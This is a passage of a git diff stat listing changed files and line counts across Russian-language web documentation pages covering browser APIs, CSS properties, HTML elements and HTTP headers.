+- files/ru/web/api/htmlanchorelement/hash/index.html | 2 +- .../web/api/htmlanchorelement/hostname/index.html | 2 +- files/ru/web/api/htmlanchorelement/href/index.html | 2 +- files/ru/web/api/htmlanchorelement/index.html | 6 +- .../ru/web/api/htmlanchorelement/origin/index.html | 2 +- .../web/api/htmlanchorelement/password/index.html | 2 +- .../web/api/htmlanchorelement/pathname/index.html | 2 +- files/ru/web/api/htmlanchorelement/port/index.html | 2 +- .../web/api/htmlanchorelement/protocol/index.html | 2 +- .../ru/web/api/htmlanchorelement/search/index.html | 2 +- .../web/api/htmlanchorelement/tostring/index.html | 2 +- .../web/api/htmlanchorelement/username/index.html | 2 +- files/ru/web/api/htmlareaelement/index.html | 2 +- files/ru/web/api/htmlaudioelement/audio/index.html | 4 +- files/ru/web/api/htmlaudioelement/index.html | 2 +- files/ru/web/api/htmlbasefontelement/index.html | 4 +- files/ru/web/api/htmlbodyelement/index.html | 2 +- files/ru/web/api/htmlbuttonelement/index.html | 6 +- .../api/htmlcanvaselement/capturestream/index.html | 2 +- .../api/htmlcanvaselement/getcontext/index.html | 6 +- .../ru/web/api/htmlcanvaselement/toblob/index.html | 4 +- files/ru/web/api/htmldialogelement/index.html | 2 +- files/ru/web/api/htmlelement/accesskey/index.html | 4 +- files/ru/web/api/htmlelement/hidden/index.html | 2 +- .../ru/web/api/htmlelement/offsetheight/index.html | 2 +- .../api/htmlelement/transitionend_event/index.html | 8 +- files/ru/web/api/htmlimageelement/image/index.html | 2 +- .../htmlinputelement/setselectionrange/index.html | 6 +- .../web/api/htmlmediaelement/duration/index.html | 2 +- files/ru/web/api/htmlmediaelement/index.html | 18 ++-- .../api/htmlmediaelement/seeking_event/index.html | 2 +- .../api/htmlorforeignelement/dataset/index.html | 4 +- .../web/api/htmlorforeignelement/nonce/index.html | 2 +- files/ru/web/api/htmlscriptelement/index.html | 2 +- files/ru/web/api/htmltableelement/index.html | 6 +- .../basic_concepts_behind_indexeddb/index.html | 4 +- .../index.html | 6 +- files/ru/web/api/indexeddb_api/index.html | 16 ++-- .../api/indexeddb_api/using_indexeddb/index.html | 20 ++--- files/ru/web/api/inputevent/index.html | 2 +- .../web/api/intersection_observer_api/index.html | 10 +-- .../timing_element_visibility/index.html | 26 +++--- files/ru/web/api/intersectionobserver/index.html | 2 +- files/ru/web/api/keyboardevent/altkey/index.html | 2 +- files/ru/web/api/keyboardevent/index.html | 2 +- .../api/keyboardevent/key/key_values/index.html | 60 ++++++------- files/ru/web/api/localmediastream/index.html | 2 +- files/ru/web/api/location/index.html | 2 +- files/ru/web/api/media_session_api/index.html | 4 +- .../web/api/mediadevices/getusermedia/index.html | 24 ++--- files/ru/web/api/mediadevices/index.html | 4 +- files/ru/web/api/mediaerror/code/index.html | 4 +- files/ru/web/api/mediarecorder/index.html | 20 ++--- .../web/api/mediarecorder/mediarecorder/index.html | 4 +- .../api/mediarecorder/ondataavailable/index.html | 2 +- files/ru/web/api/mediasource/index.html | 8 +- .../web/api/mediastream_recording_api/index.html | 4 +- .../recording_a_media_element/index.html | 2 +- .../using_the_mediastream_recording_api/index.html | 14 +-- files/ru/web/api/mediastreamtrack/index.html | 2 +- .../echocancellation/index.html | 2 +- files/ru/web/api/mouseevent/index.html | 2 +- files/ru/web/api/mouseevent/screenx/index.html | 2 +- files/ru/web/api/mutationobserver/index.html | 6 +- files/ru/web/api/namednodemap/index.html | 10 +-- files/ru/web/api/navigation_timing_api/index.html | 2 +- files/ru/web/api/navigator/battery/index.html | 2 +- .../ru/web/api/navigator/cookieenabled/index.html | 2 +- files/ru/web/api/navigator/geolocation/index.html | 2 +- files/ru/web/api/navigator/getgamepads/index.html | 2 +- .../ru/web/api/navigator/getvrdisplays/index.html | 2 +- files/ru/web/api/navigator/index.html | 6 +- files/ru/web/api/navigator/mediadevices/index.html | 2 +- .../navigator/registerprotocolhandler/index.html | 2 +- files/ru/web/api/navigator/vibrate/index.html | 4 +- files/ru/web/api/navigatorid/platform/index.html | 2 +- files/ru/web/api/navigatorid/product/index.html | 6 +- .../ru/web/api/navigatorid/taintenabled/index.html | 2 +- files/ru/web/api/navigatorid/useragent/index.html | 2 +- .../web/api/navigatorlanguage/language/index.html | 2 +- .../web/api/navigatorlanguage/languages/index.html | 2 +- files/ru/web/api/navigatoronline/online/index.html | 10 +-- files/ru/web/api/navigatorplugins/index.html | 2 +- .../api/navigatorplugins/javaenabled/index.html | 4 +- files/ru/web/api/node/appendchild/index.html | 2 +- files/ru/web/api/node/clonenode/index.html | 6 +- .../api/node/comparedocumentposition/index.html | 2 +- files/ru/web/api/node/getuserdata/index.html | 2 +- files/ru/web/api/node/index.html | 18 ++-- files/ru/web/api/node/insertbefore/index.html | 10 +-- .../ru/web/api/node/isdefaultnamespace/index.html | 4 +- files/ru/web/api/node/isequalnode/index.html | 2 +- files/ru/web/api/node/issupported/index.html | 4 +- files/ru/web/api/node/localname/index.html | 2 +- .../ru/web/api/node/lookupnamespaceuri/index.html | 4 +- files/ru/web/api/node/lookupprefix/index.html | 4 +- files/ru/web/api/node/namespaceuri/index.html | 12 +-- files/ru/web/api/node/nextsibling/index.html | 2 +- files/ru/web/api/node/nodevalue/index.html | 2 +- files/ru/web/api/node/parentnode/index.html | 4 +- files/ru/web/api/node/prefix/index.html | 2 +- files/ru/web/api/node/removechild/index.html | 8 +- files/ru/web/api/node/replacechild/index.html | 12 +-- files/ru/web/api/node/textcontent/index.html | 4 +- files/ru/web/api/nodelist/index.html | 2 +- files/ru/web/api/notification/index.html | 14 +-- files/ru/web/api/notifications_api/index.html | 4 +- files/ru/web/api/page_visibility_api/index.html | 4 +- files/ru/web/api/pannernode/index.html | 16 ++-- files/ru/web/api/parentnode/prepend/index.html | 2 +- files/ru/web/api/performance/index.html | 6 +- files/ru/web/api/performance/now/index.html | 2 +- files/ru/web/api/pointer_lock_api/index.html | 4 +- files/ru/web/api/positionoptions/index.html | 2 +- files/ru/web/api/push_api/index.html | 6 +- files/ru/web/api/pushmanager/subscribe/index.html | 4 +- files/ru/web/api/range/surroundcontents/index.html | 2 +- files/ru/web/api/response/index.html | 2 +- .../cantrickleicecandidates/index.html | 8 +- .../currentlocaldescription/index.html | 4 +- .../currentremotedescription/index.html | 4 +- .../icecandidate_event/index.html | 6 +- files/ru/web/api/rtcpeerconnection/index.html | 46 +++++----- .../rtcpeerconnection/rtcpeerconnection/index.html | 2 +- .../using_screen_capture/index.html | 14 +-- files/ru/web/api/selection/tostring/index.html | 2 +- .../using_server-sent_events/index.html | 10 +-- files/ru/web/api/service_worker_api/index.html | 12 +-- .../using_service_workers/index.html | 38 ++++---- .../ru/web/api/serviceworker/scripturl/index.html | 2 +- .../api/serviceworkercontainer/register/index.html | 8 +- .../pushmanager/index.html | 2 +- .../shownotification/index.html | 2 +- files/ru/web/api/serviceworkerstate/index.html | 2 +- files/ru/web/api/sharedworker/index.html | 2 +- files/ru/web/api/speechgrammar/index.html | 2 +- files/ru/web/api/speechrecognition/index.html | 14 +-- .../ru/web/api/speechsynthesisutterance/index.html | 6 +- files/ru/web/api/storage/clear/index.html | 4 +- files/ru/web/api/storage/getitem/index.html | 4 +- files/ru/web/api/storage/key/index.html | 2 +- files/ru/web/api/storage/length/index.html | 2 +- files/ru/web/api/storage/removeitem/index.html | 4 +- files/ru/web/api/storage/setitem/index.html | 4 +- files/ru/web/api/storagemanager/index.html | 2 +- files/ru/web/api/streams_api/index.html | 12 +-- files/ru/web/api/svgaelement/index.html | 2 +- files/ru/web/api/svgaelement/target/index.html | 2 +- files/ru/web/api/svggraphicselement/index.html | 2 +- files/ru/web/api/svgtextcontentelement/index.html | 4 +- files/ru/web/api/svgtextelement/index.html | 4 +- files/ru/web/api/text/index.html | 4 +- files/ru/web/api/touch_events/index.html | 16 ++-- files/ru/web/api/touchevent/index.html | 4 +- files/ru/web/api/url/createobjecturl/index.html | 6 +- files/ru/web/api/usb/requestdevice/index.html | 2 +- .../ru/web/api/vrdisplay/requestpresent/index.html | 4 +- files/ru/web/api/vrdisplayevent/index.html | 2 +- files/ru/web/api/vrframedata/index.html | 2 +- files/ru/web/api/web_animations_api/index.html | 6 +- .../using_the_web_animations_api/index.html | 56 ++++++------ files/ru/web/api/web_audio_api/index.html | 6 +- .../visualizations_with_web_audio_api/index.html | 22 ++--- files/ru/web/api/web_authentication_api/index.html | 14 +-- files/ru/web/api/web_speech_api/index.html | 2 +- .../using_the_web_speech_api/index.html | 46 +++++----- files/ru/web/api/web_storage_api/index.html | 14 +-- .../using_the_web_storage_api/index.html | 16 ++-- .../structured_clone_algorithm/index.html | 6 +- .../web_workers_api/using_web_workers/index.html | 46 +++++----- files/ru/web/api/webgl_api/index.html | 6 +- .../index.html | 24 ++--- .../animating_objects_with_webgl/index.html | 2 +- .../creating_3d_objects_using_webgl/index.html | 4 +- .../tutorial/getting_started_with_webgl/index.html | 24 ++--- files/ru/web/api/webgl_api/tutorial/index.html | 4 +- .../tutorial/lighting_in_webgl/index.html | 16 ++-- .../index.html | 12 +-- .../tutorial/using_textures_in_webgl/index.html | 16 ++-- .../api/webgl_api/webgl_best_practices/index.html | 8 +- .../webglrenderingcontext/activetexture/index.html | 4 +- .../webglrenderingcontext/bindtexture/index.html | 4 +- .../webglrenderingcontext/compileshader/index.html | 2 +- .../api/webglrenderingcontext/enable/index.html | 2 +- .../getshaderinfolog/index.html | 2 +- files/ru/web/api/webglrenderingcontext/index.html | 10 +-- .../webglrenderingcontext/shadersource/index.html | 2 +- .../api/webglrenderingcontext/uniform/index.html | 2 +- files/ru/web/api/webrtc_api/adapter.js/index.html | 2 +- files/ru/web/api/webrtc_api/index.html | 18 ++-- .../web/api/webrtc_api/session_lifetime/index.html | 20 ++--- .../signaling_and_video_calling/index.html | 10 +-- .../simple_rtcdatachannel_sample/index.html | 2 +- .../api/webrtc_api/taking_still_photos/index.html | 16 ++-- .../api/webrtc_api/using_data_channels/index.html | 20 ++--- files/ru/web/api/websocket/index.html | 10 +-- files/ru/web/api/websockets_api/index.html | 2 +- .../index.html | 2 +- files/ru/web/api/webvr_api/index.html | 8 +- .../api/webvr_api/using_the_webvr_api/index.html | 2 +- files/ru/web/api/webvtt_api/index.html | 6 +- files/ru/web/api/webxr_device_api/index.html | 2 +- .../web/api/window/beforeunload_event/index.html | 2 +- files/ru/web/api/window/close/index.html | 2 +- files/ru/web/api/window/closed/index.html | 2 +- files/ru/web/api/window/console/index.html | 2 +- files/ru/web/api/window/crypto/index.html | 2 +- files/ru/web/api/window/frameelement/index.html | 2 +- .../ru/web/api/window/getcomputedstyle/index.html | 6 +- files/ru/web/api/window/getselection/index.html | 6 +- files/ru/web/api/window/history/index.html | 6 +- files/ru/web/api/window/index.html | 48 +++++----- files/ru/web/api/window/innerheight/index.html | 2 +- files/ru/web/api/window/localstorage/index.html | 6 +- files/ru/web/api/window/location/index.html | 4 +- .../api/window/mozanimationstarttime/index.html | 2 +- files/ru/web/api/window/pageyoffset/index.html | 4 +- files/ru/web/api/window/popstate_event/index.html | 2 +- files/ru/web/api/window/postmessage/index.html | 4 +- files/ru/web/api/window/prompt/index.html | 4 +- .../api/window/requestanimationframe/index.html | 2 +- files/ru/web/api/window/self/index.html | 2 +- files/ru/web/api/window/sessionstorage/index.html | 4 +- .../api/window/unhandledrejection_event/index.html | 4 +- .../api/windoweventhandlers/onpopstate/index.html | 2 +- .../api/windoworworkerglobalscope/atob/index.html | 2 +- .../api/windoworworkerglobalscope/btoa/index.html | 2 +- .../cleartimeout/index.html | 6 +- .../api/windoworworkerglobalscope/fetch/index.html | 6 +- .../web/api/windoworworkerglobalscope/index.html | 2 +- .../setinterval/index.html | 2 +- .../settimeout/index.html | 4 +- files/ru/web/api/worker/onmessage/index.html | 2 +- files/ru/web/api/worker/postmessage/index.html | 8 +- files/ru/web/api/worker/terminate/index.html | 4 +- files/ru/web/api/worker/worker/index.html | 2 +- .../api/workerglobalscope/importscripts/index.html | 4 +- files/ru/web/api/xmlhttprequest/index.html | 32 +++---- .../ru/web/api/xmlhttprequest/response/index.html | 10 +-- .../web/api/xmlhttprequest/responsetext/index.html | 4 +- .../web/api/xmlhttprequest/responsetype/index.html | 2 +- .../web/api/xmlhttprequest/responseurl/index.html | 2 +- files/ru/web/api/xmlhttprequest/send/index.html | 6 +- .../sending_and_receiving_binary_data/index.html | 12 +-- .../xmlhttprequest/using_xmlhttprequest/index.html | 2 +- .../api/xmlhttprequest/xmlhttprequest/index.html | 4 +- files/ru/web/api/xmlserializer/index.html | 2 +- .../css/@counter-style/additive-symbols/index.html | 2 +- .../ru/web/css/@font-face/font-display/index.html | 12 +-- files/ru/web/css/@font-face/index.html | 6 +- files/ru/web/css/@font-feature-values/index.html | 4 +- files/ru/web/css/@media/inverted-colors/index.html | 2 +- files/ru/web/css/@media/orientation/index.html | 2 +- files/ru/web/css/@page/index.html | 4 +- files/ru/web/css/@viewport/index.html | 6 +- files/ru/web/css/_colon_-moz-focusring/index.html | 2 +- .../web/css/_colon_-moz-only-whitespace/index.html | 2 +- files/ru/web/css/_colon_any-link/index.html | 2 +- files/ru/web/css/_colon_default/index.html | 2 +- files/ru/web/css/_colon_dir/index.html | 2 +- files/ru/web/css/_colon_disabled/index.html | 6 +- files/ru/web/css/_colon_enabled/index.html | 2 +- files/ru/web/css/_colon_first-child/index.html | 2 +- files/ru/web/css/_colon_focus-visible/index.html | 2 +- files/ru/web/css/_colon_focus/index.html | 2 +- files/ru/web/css/_colon_fullscreen/index.html | 4 +- files/ru/web/css/_colon_indeterminate/index.html | 4 +- files/ru/web/css/_colon_is/index.html | 4 +- files/ru/web/css/_colon_left/index.html | 2 +- files/ru/web/css/_colon_target/index.html | 4 +- files/ru/web/css/_colon_visited/index.html | 4 +- files/ru/web/css/_colon_where/index.html | 8 +- .../css/_doublecolon_-moz-progress-bar/index.html | 4 +- files/ru/web/css/_doublecolon_slotted/index.html | 10 +-- .../web/css/adjacent_sibling_combinator/index.html | 4 +- files/ru/web/css/align-items/index.html | 8 +- files/ru/web/css/all/index.html | 4 +- files/ru/web/css/angle/index.html | 2 +- files/ru/web/css/animation-delay/index.html | 2 +- files/ru/web/css/animation-direction/index.html | 6 +- files/ru/web/css/animation-duration/index.html | 2 +- files/ru/web/css/animation-fill-mode/index.html | 16 ++-- .../web/css/animation-iteration-count/index.html | 4 +- files/ru/web/css/animation-name/index.html | 4 +- files/ru/web/css/animation-play-state/index.html | 2 +- .../web/css/animation-timing-function/index.html | 2 +- files/ru/web/css/appearance/index.html | 2 +- files/ru/web/css/at-rule/index.html | 10 +-- files/ru/web/css/attribute_selectors/index.html | 10 +-- files/ru/web/css/backdrop-filter/index.html | 4 +- files/ru/web/css/backface-visibility/index.html | 6 +- files/ru/web/css/background-attachment/index.html | 8 +- files/ru/web/css/background-blend-mode/index.html | 2 +- files/ru/web/css/background-clip/index.html | 2 +- files/ru/web/css/background-image/index.html | 6 +- files/ru/web/css/background-position-x/index.html | 4 +- files/ru/web/css/background-position/index.html | 6 +- files/ru/web/css/background-repeat/index.html | 2 +- files/ru/web/css/background-size/index.html | 12 +-- files/ru/web/css/background/index.html | 6 +- files/ru/web/css/block-size/index.html | 6 +- files/ru/web/css/border-image-slice/index.html | 2 +- files/ru/web/css/border-radius/index.html | 6 +- files/ru/web/css/border-width/index.html | 2 +- files/ru/web/css/border/index.html | 2 +- files/ru/web/css/bottom/index.html | 2 +- files/ru/web/css/box-shadow/index.html | 2 +- files/ru/web/css/box-sizing/index.html | 2 +- files/ru/web/css/calc()/index.html | 2 +- files/ru/web/css/class_selectors/index.html | 2 +- files/ru/web/css/clear/index.html | 4 +- files/ru/web/css/clip-path/index.html | 6 +- files/ru/web/css/color_value/index.html | 90 +++++++++---------- files/ru/web/css/column-count/index.html | 2 +- files/ru/web/css/column-rule-color/index.html | 2 +- files/ru/web/css/column-rule-style/index.html | 2 +- files/ru/web/css/column-rule/index.html | 8 +- files/ru/web/css/column_combinator/index.html | 2 +- files/ru/web/css/containing_block/index.html | 8 +- files/ru/web/css/content/index.html | 16 ++-- .../detecting_css_animation_support/index.html | 6 +- files/ru/web/css/css_animations/tips/index.html | 8 +- .../css_animations/using_css_animations/index.html | 22 ++--- .../using_multiple_backgrounds/index.html | 4 +- .../index.html | 2 +- .../box_alignment_in_flexbox/index.html | 12 +-- files/ru/web/css/css_box_alignment/index.html | 16 ++-- .../introduction_to_the_css_box_model/index.html | 8 +- .../css/css_colors/color_picker_tool/index.html | 2 +- .../using_multi-column_layouts/index.html | 2 +- .../aligning_items_in_a_flex_container/index.html | 4 +- .../backwards_compatibility_of_flexbox/index.html | 6 +- .../basic_concepts_of_flexbox/index.html | 16 ++-- .../mastering_wrapping_of_flex_items/index.html | 12 +-- files/ru/web/css/css_flow_layout/index.html | 6 +- .../intro_to_formatting_contexts/index.html | 6 +- .../basic_concepts_of_grid_layout/index.html | 32 +++---- .../box_alignment_in_css_grid_layout/index.html | 14 +-- .../index.html | 20 ++--- .../css_grid_layout/grid_template_areas/index.html | 32 +++---- files/ru/web/css/css_grid_layout/index.html | 2 +- .../layout_using_named_grid_lines/index.html | 28 +++--- .../line-based_placement_with_css_grid/index.html | 28 +++--- .../index.html | 14 +-- .../relationship_of_grid_layout/index.html | 34 +++---- .../ru/web/css/css_grid_layout/subgrid/index.html | 2 +- .../using_css_counters/index.html | 34 +++---- .../adding_z-index/index.html | 2 +- .../understanding_z_index/index.html | 2 +- .../the_stacking_context/index.html | 12 +-- .../css/css_scroll_snap/basic_concepts/index.html | 2 +- files/ru/web/css/css_selectors/index.html | 6 +- .../using_css_transitions/index.html | 10 +-- files/ru/web/css/cursor/index.html | 2 +- files/ru/web/css/descendant_combinator/index.html | 2 +- files/ru/web/css/display-listitem/index.html | 2 +- files/ru/web/css/display-outside/index.html | 6 +- files/ru/web/css/display/index.html | 8 +- files/ru/web/css/filter/index.html | 2 +- files/ru/web/css/flex-basis/index.html | 8 +- files/ru/web/css/flex-direction/index.html | 4 +- files/ru/web/css/flex-grow/index.html | 2 +- files/ru/web/css/flex-wrap/index.html | 2 +- files/ru/web/css/flex/index.html | 2 +- files/ru/web/css/float/index.html | 2 +- files/ru/web/css/font-family/index.html | 2 +- files/ru/web/css/font-variant-ligatures/index.html | 6 +- files/ru/web/css/font-weight/index.html | 8 +- files/ru/web/css/font/index.html | 2 +- files/ru/web/css/grid-area/index.html | 4 +- files/ru/web/css/grid-auto-flow/index.html | 4 +- files/ru/web/css/grid-row-start/index.html | 2 +- files/ru/web/css/grid-template-areas/index.html | 2 +- files/ru/web/css/grid-template-columns/index.html | 4 +- files/ru/web/css/grid-template-rows/index.html | 2 +- files/ru/web/css/grid/index.html | 6 +- files/ru/web/css/hanging-punctuation/index.html | 4 +- files/ru/web/css/hyphens/index.html | 2 +- files/ru/web/css/image-set()/index.html | 2 +- files/ru/web/css/index.html | 2 +- files/ru/web/css/inherit/index.html | 6 +- files/ru/web/css/initial/index.html | 2 +- files/ru/web/css/inset/index.html | 2 +- files/ru/web/css/integer/index.html | 2 +- files/ru/web/css/isolation/index.html | 4 +- files/ru/web/css/justify-content/index.html | 6 +- files/ru/web/css/justify-items/index.html | 16 ++-- .../breadcrumb_navigation/index.html | 4 +- files/ru/web/css/layout_cookbook/index.html | 4 +- .../layout_cookbook/split_navigation/index.html | 2 +- .../css/layout_cookbook/sticky_footers/index.html | 2 +- files/ru/web/css/line-break/index.html | 2 +- files/ru/web/css/list-style-image/index.html | 2 +- files/ru/web/css/margin-inline-start/index.html | 2 +- files/ru/web/css/margin-left/index.html | 2 +- files/ru/web/css/margin-right/index.html | 2 +- files/ru/web/css/margin/index.html | 8 +- files/ru/web/css/max-block-size/index.html | 2 +- files/ru/web/css/media_queries/index.html | 4 +- .../media_queries/testing_media_queries/index.html | 6 +- .../media_queries/using_media_queries/index.html | 6 +- files/ru/web/css/object-fit/index.html | 6 +- files/ru/web/css/opacity/index.html | 8 +- files/ru/web/css/order/index.html | 2 +- files/ru/web/css/orphans/index.html | 2 +- files/ru/web/css/overflow-block/index.html | 2 +- files/ru/web/css/overflow-wrap/index.html | 4 +- files/ru/web/css/overflow/index.html | 2 +- files/ru/web/css/overscroll-behavior/index.html | 2 +- files/ru/web/css/padding-left/index.html | 2 +- files/ru/web/css/padding/index.html | 2 +- files/ru/web/css/paint-order/index.html | 2 +- files/ru/web/css/perspective/index.html | 2 +- files/ru/web/css/pointer-events/index.html | 2 +- files/ru/web/css/position/index.html | 22 ++--- files/ru/web/css/radial-gradient()/index.html | 12 +-- files/ru/web/css/ratio/index.html | 2 +- files/ru/web/css/reference/index.html | 2 +- .../web/css/repeating-linear-gradient()/index.html | 8 +- files/ru/web/css/selector_list/index.html | 8 +- files/ru/web/css/shorthand_properties/index.html | 2 +- files/ru/web/css/specificity/index.html | 18 ++-- files/ru/web/css/syntax/index.html | 8 +- files/ru/web/css/time/index.html | 4 +- files/ru/web/css/touch-action/index.html | 2 +- .../css/transform-function/rotate3d()/index.html | 2 +- .../css/transform-function/scale3d()/index.html | 2 +- .../web/css/transform-function/skew()/index.html | 8 +- files/ru/web/css/transform-style/index.html | 2 +- files/ru/web/css/transform/index.html | 6 +- files/ru/web/css/transition/index.html | 4 +- files/ru/web/css/universal_selectors/index.html | 8 +- files/ru/web/css/used_value/index.html | 2 +- files/ru/web/css/user-select/index.html | 4 +- .../web/css/using_css_custom_properties/index.html | 4 +- files/ru/web/css/vertical-align/index.html | 6 +- files/ru/web/css/visibility/index.html | 2 +- .../ru/web/css/visual_formatting_model/index.html | 2 +- files/ru/web/css/white-space/index.html | 2 +- files/ru/web/css/will-change/index.html | 8 +- files/ru/web/css/word-spacing/index.html | 6 +- files/ru/web/events/index.html | 16 ++-- files/ru/web/guide/ajax/getting_started/index.html | 20 ++--- files/ru/web/guide/ajax/index.html | 2 +- .../index.html | 14 +-- .../buffering_seeking_time_ranges/index.html | 2 +- .../guide/css/block_formatting_context/index.html | 2 +- .../ru/web/guide/events/event_handlers/index.html | 2 +- files/ru/web/guide/events/index.html | 8 +- files/ru/web/guide/events/media_events/index.html | 8 +- .../overview_of_events_and_handlers/index.html | 14 +-- files/ru/web/guide/graphics/index.html | 2 +- .../web/guide/html/content_categories/index.html | 18 ++-- .../ru/web/guide/html/editable_content/index.html | 12 +-- files/ru/web/guide/html/html5/index.html | 8 +- .../html/html5/introduction_to_html5/index.html | 2 +- .../using_html_sections_and_outlines/index.html | 44 ++++----- files/ru/web/guide/index.html | 2 +- files/ru/web/guide/mobile/index.html | 6 +- .../guide/parsing_and_serializing_xml/index.html | 10 +-- files/ru/web/guide/user_input_methods/index.html | 2 +- files/ru/web/html/applying_color/index.html | 46 +++++----- .../ru/web/html/attributes/crossorigin/index.html | 6 +- files/ru/web/html/attributes/index.html | 4 +- files/ru/web/html/block-level_elements/index.html | 2 +- files/ru/web/html/cors_enabled_image/index.html | 4 +- files/ru/web/html/element/a/index.html | 6 +- files/ru/web/html/element/abbr/index.html | 2 +- files/ru/web/html/element/acronym/index.html | 2 +- files/ru/web/html/element/address/index.html | 4 +- files/ru/web/html/element/applet/index.html | 2 +- files/ru/web/html/element/area/index.html | 10 +-- files/ru/web/html/element/article/index.html | 8 +- files/ru/web/html/element/aside/index.html | 8 +- files/ru/web/html/element/audio/index.html | 16 ++-- files/ru/web/html/element/b/index.html | 2 +- files/ru/web/html/element/bdi/index.html | 2 +- files/ru/web/html/element/blockquote/index.html | 2 +- files/ru/web/html/element/body/index.html | 12 +-- files/ru/web/html/element/br/index.html | 2 +- files/ru/web/html/element/button/index.html | 16 ++-- files/ru/web/html/element/caption/index.html | 6 +- files/ru/web/html/element/cite/index.html | 4 +- files/ru/web/html/element/col/index.html | 2 +- files/ru/web/html/element/data/index.html | 2 +- files/ru/web/html/element/datalist/index.html | 2 +- files/ru/web/html/element/dd/index.html | 2 +- files/ru/web/html/element/del/index.html | 10 +-- files/ru/web/html/element/details/index.html | 2 +- files/ru/web/html/element/dfn/index.html | 16 ++-- files/ru/web/html/element/dialog/index.html | 2 +- files/ru/web/html/element/div/index.html | 8 +- files/ru/web/html/element/dl/index.html | 4 +- files/ru/web/html/element/dt/index.html | 4 +- files/ru/web/html/element/em/index.html | 14 +-- files/ru/web/html/element/embed/index.html | 8 +- files/ru/web/html/element/fieldset/index.html | 6 +- files/ru/web/html/element/figcaption/index.html | 2 +- files/ru/web/html/element/figure/index.html | 2 +- files/ru/web/html/element/font/index.html | 4 +- files/ru/web/html/element/footer/index.html | 8 +- files/ru/web/html/element/form/index.html | 4 +- files/ru/web/html/element/head/index.html | 8 +- files/ru/web/html/element/header/index.html | 10 +-- .../web/html/element/heading_elements/index.html | 10 +-- files/ru/web/html/element/hgroup/index.html | 2 +- files/ru/web/html/element/hr/index.html | 6 +- files/ru/web/html/element/html/index.html | 8 +- files/ru/web/html/element/img/index.html | 30 +++---- files/ru/web/html/element/index.html | 2 +- files/ru/web/html/element/input/button/index.html | 2 +- files/ru/web/html/element/input/color/index.html | 10 +-- files/ru/web/html/element/input/date/index.html | 4 +- .../html/element/input/datetime-local/index.html | 8 +- files/ru/web/html/element/input/image/index.html | 4 +- files/ru/web/html/element/input/index.html | 12 +-- files/ru/web/html/element/input/number/index.html | 2 +- .../ru/web/html/element/input/password/index.html | 26 +++--- files/ru/web/html/element/input/radio/index.html | 4 +- files/ru/web/html/element/input/range/index.html | 32 +++---- files/ru/web/html/element/input/search/index.html | 2 +- files/ru/web/html/element/input/tel/index.html | 2 +- files/ru/web/html/element/ins/index.html | 4 +- files/ru/web/html/element/label/index.html | 8 +- files/ru/web/html/element/li/index.html | 6 +- files/ru/web/html/element/link/index.html | 28 +++--- files/ru/web/html/element/main/index.html | 14 +-- files/ru/web/html/element/map/index.html | 8 +- files/ru/web/html/element/mark/index.html | 8 +- files/ru/web/html/element/marquee/index.html | 12 +-- files/ru/web/html/element/menu/index.html | 6 +- files/ru/web/html/element/meta/index.html | 26 +++--- files/ru/web/html/element/meter/index.html | 12 +-- files/ru/web/html/element/nav/index.html | 10 +-- files/ru/web/html/element/noscript/index.html | 2 +- files/ru/web/html/element/ol/index.html | 2 +- files/ru/web/html/element/option/index.html | 10 +-- files/ru/web/html/element/output/index.html | 6 +- files/ru/web/html/element/p/index.html | 10 +-- files/ru/web/html/element/pre/index.html | 10 +-- files/ru/web/html/element/progress/index.html | 10 +-- files/ru/web/html/element/ruby/index.html | 4 +- files/ru/web/html/element/script/index.html | 2 +- files/ru/web/html/element/section/index.html | 10 +-- files/ru/web/html/element/select/index.html | 2 +- files/ru/web/html/element/slot/index.html | 6 +- files/ru/web/html/element/span/index.html | 8 +- files/ru/web/html/element/strong/index.html | 20 ++--- files/ru/web/html/element/td/index.html | 10 +-- files/ru/web/html/element/template/index.html | 4 +- files/ru/web/html/element/tfoot/index.html | 8 +- files/ru/web/html/element/title/index.html | 10 +-- files/ru/web/html/element/track/index.html | 4 +- files/ru/web/html/element/u/index.html | 2 +- files/ru/web/html/element/video/index.html | 12 +-- files/ru/web/html/element/wbr/index.html | 10 +-- .../html/global_attributes/accesskey/index.html | 2 +- .../ru/web/html/global_attributes/class/index.html | 2 +- .../global_attributes/contenteditable/index.html | 2 +- .../html/global_attributes/data-_star_/index.html | 2 +- files/ru/web/html/global_attributes/id/index.html | 2 +- files/ru/web/html/global_attributes/index.html | 14 +-- .../html/global_attributes/inputmode/index.html | 2 +- files/ru/web/html/global_attributes/is/index.html | 2 +- .../ru/web/html/global_attributes/lang/index.html | 8 +- files/ru/web/html/index.html | 18 ++-- files/ru/web/html/inline_elements/index.html | 2 +- .../html/using_the_application_cache/index.html | 4 +- files/ru/web/http/authentication/index.html | 6 +- .../identifying_resources_on_the_web/index.html | 4 +- files/ru/web/http/basics_of_http/index.html | 4 +- .../mime_types/common_types/index.html | 2 +- files/ru/web/http/caching/index.html | 30 +++---- .../connection_management_in_http_1.x/index.html | 26 +++--- files/ru/web/http/content_negotiation/index.html | 12 +-- .../list_of_default_accept_values/index.html | 10 +-- files/ru/web/http/cookies/index.html | 26 +++--- .../corsalloworiginnotmatchingorigin/index.html | 2 +- .../web/http/cors/errors/corsdisabled/index.html | 4 +- .../cors/errors/corsmissingalloworigin/index.html | 4 +- files/ru/web/http/cors/index.html | 46 +++++----- files/ru/web/http/csp/index.html | 36 ++++---- files/ru/web/http/feature_policy/index.html | 4 +- .../feature_policy/using_feature_policy/index.html | 8 +- .../ru/web/http/headers/accept-charset/index.html | 4 +- .../ru/web/http/headers/accept-language/index.html | 6 +- files/ru/web/http/headers/accept-patch/index.html | 2 +- files/ru/web/http/headers/accept/index.html | 4 +- .../access-control-allow-headers/index.html | 4 +- .../access-control-allow-methods/index.html | 4 +- .../headers/access-control-allow-origin/index.html | 4 +- .../http/headers/access-control-max-age/index.html | 2 +- files/ru/web/http/headers/authorization/index.html | 6 +- files/ru/web/http/headers/cache-control/index.html | 2 +- files/ru/web/http/headers/connection/index.html | 4 +- .../http/headers/content-disposition/index.html | 2 +- .../web/http/headers/content-encoding/index.html | 2 +- .../web/http/headers/content-language/index.html | 2 +- files/ru/web/http/headers/date/index.html | 10 +-- files/ru/web/http/headers/etag/index.html | 6 +- files/ru/web/http/headers/expect/index.html | 2 +- files/ru/web/http/headers/expires/index.html | 2 +- files/ru/web/http/headers/if-match/index.html | 6 +- .../web/http/headers/if-modified-since/index.html | 4 +- .../http/headers/if-unmodified-since/index.html | 6 +- files/ru/web/http/headers/index.html | 6 +- files/ru/web/http/headers/last-modified/index.html | 2 +- files/ru/web/http/headers/pragma/index.html | 6 +- files/ru/web/http/headers/referer/index.html | 10 +-- files/ru/web/http/headers/retry-after/index.html | 4 +- files/ru/web/http/headers/set-cookie/index.html | 14 +-- 